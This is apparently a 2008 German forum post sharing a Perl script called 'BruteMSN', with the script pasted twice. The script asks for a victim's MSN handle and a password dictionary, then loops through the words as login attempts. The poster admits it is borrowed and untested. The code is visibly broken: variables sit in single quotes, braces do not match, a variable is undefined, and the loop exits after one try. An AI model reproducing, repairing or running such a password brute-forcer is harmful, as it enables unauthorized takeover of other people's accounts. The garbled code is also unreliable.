-=Player=-
01.11.2008, 20:13
Achtung: Nicht von mir!
habs noch nicht getestet, wäre cool wenns mal jemand macht.
#!/usr/bin/perl
system ("clear");
system ("cls");
system ("color fc");
# Re-c0de by m0x.lk
# Edit : BruteMSN .- ~HaSe & RE.
# Download Lib's.
use lib qw(./MSN/lib);
use MSN;
use strict;
use encoding "euc-jp";
print "Re-C0de by m0x.lk\n";
print "\n";
print "BruteMSN .- ~HaSe & RE.\n";
print "\n";
sleep 1;
print "Victima: ";
$victima=<STDIN>;
print "\n\n";
print "\n";
print "Diccionario: ";
$dict=<STDIN>;
print "\n\n";
open (D,"<$dict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
chomp $try;
my $msn = MSN->new(Handle => '$victima',
Password => '$try');
$counter++;
$tiempo++;
{
print "$victima / $try \n";
last;
}
if($counter==$fallos)
{
}
close(D);
print "\n\n";
print "$tiempo Obtener pass";
print "\n\n";
print "c0dex by m0x.lk";
habs noch nicht getestet, wäre cool wenns mal jemand macht.
#!/usr/bin/perl
system ("clear");
system ("cls");
system ("color fc");
# Re-c0de by m0x.lk
# Edit : BruteMSN .- ~HaSe & RE.
# Download Lib's.
use lib qw(./MSN/lib);
use MSN;
use strict;
use encoding "euc-jp";
print "Re-C0de by m0x.lk\n";
print "\n";
print "BruteMSN .- ~HaSe & RE.\n";
print "\n";
sleep 1;
print "Victima: ";
$victima=<STDIN>;
print "\n\n";
print "\n";
print "Diccionario: ";
$dict=<STDIN>;
print "\n\n";
open (D,"<$dict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
chomp $try;
my $msn = MSN->new(Handle => '$victima',
Password => '$try');
$counter++;
$tiempo++;
{
print "$victima / $try \n";
last;
}
if($counter==$fallos)
{
}
close(D);
print "\n\n";
print "$tiempo Obtener pass";
print "\n\n";
print "c0dex by m0x.lk";